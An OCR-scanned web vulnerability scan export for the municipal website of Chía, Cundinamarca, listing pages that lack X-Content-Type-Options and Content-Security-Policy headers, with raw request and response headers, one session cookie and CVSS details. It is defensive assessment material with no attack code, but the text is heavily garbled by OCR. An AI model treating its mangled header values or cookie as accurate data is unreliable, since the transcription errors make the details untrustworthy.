Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[/ wp-j son/ wp/ v2/ post s/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/tram tes-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:50:28 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secr et ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/wp/ v2/ posts/ 653>, rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=653>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unif;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

OUTPUT
The scanner detected the |ack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es-y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent
Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
I wp-j son/ wp/ v2/ posts/ 20823>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=20823>; rel =shortlink

X- TEC- APl - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/sisben HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%38aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Content-Type: text/htm; charset=utf-8

Transfer-Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expires: Wed, 17 Aug 2005 00: 00: 00 GvIr

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; path=/; HttpOnly
Last-Mdified: Thu, 19 Dec 2024 04:01:41 GV
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INSTANCE

https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-

servicios-publicos/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servici os-publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/ wp/ v2/ posts/ 19440>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on- docunent al /

REQUEST HEADERS
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Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 05:16:57 GJI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
The scanner detected the lack of a correct X-Content-Type-Options header configuration in the target application
response

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/ transpar enci a-y- acceso- a-| a-i nf or maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sane-origin

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 00:38:08 GVI
Content-Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng
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Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p
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Missing Content Security Policy

VULNERABILITY PLUGIN ID 112551

Description

Content Security Policy (CSP)is a web security standard that helps to mitigate attacks like cross-site scripting (XSS),
clickjacking or mixed content issues. CSP provides mechanisms to websites to restrict content that browsers will be allowed to

load.

No CSP header has been detected on this host. This URL is flagged as a specific example.

Solution

Configure Content Security Policy on your website by adding '‘Content-Security-Policy' HTTP header or meta tag http-

equiv="Content-Security-Policy'.

See Also

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

https://csp-evaluator.withgoogle.com/

https://content-security-policy.com/

https://developers.google.com/web/fundamentals/security/csp/

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE

2018-02-14T00:00:00+00:00
2024-03-25T00:00:00+00:00
HTTP Security Header

Low

112551

3.1
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/1:N/A:N
2.6

CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N

1021
Application Misconfiguration
2017-AB, 2021-A4, 2013-A5, 2010-A6, 2023-API8, 2013-API7
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Missing Content Security Policy Instances (25)

VULNERABILITY PLUGIN ID 112551

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- nayor es- de- chi a- se- gozar on- boyaca/ has no Content Security
Pol i cy defi ned.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:21:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22400>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
https://chi a- cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca-donoso/ has no
Content Security Policy defined.

HTTP Info

Web Application Scanning Detailed Scan Export:
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REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:08:06 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ posts/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22424>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
https://chi a-cundi namar ca. gov. co/ web/ al cal di a/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:45:09 GVl
Content-Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked
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Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co

[/ web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ contr ol -i nt er no-di sci pl i nari o/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt erno-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/ 616>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-

servicios-publicos/

Identification
OUTPUT
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htt ps://chi a- cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de-| as- enpr esas- pr est ador as- de-
servi ci os-publicos/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servici os-publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[ wp-j son/ wp/ v2/ post s/ 19440>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
https://chi a- cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ secretari as/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5
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RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
https://chi a- cundi nanmar ca. gov. co/ web/ di rectori o/ has no Content Security Policy defined.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sane-origin

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobile: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 00:46:26 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/
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https://chia-cundinamarca.gov.co/web/directorio/
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

OUTPUT
https://chi a- cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ comi enza- el - censo- a- bar es- y- est abl eci m ent os- noct urnos/ has no Content
Security Policy defined.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ conmi enza- el - censo- a- bar es-y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- | nsecur e- Requests: 1

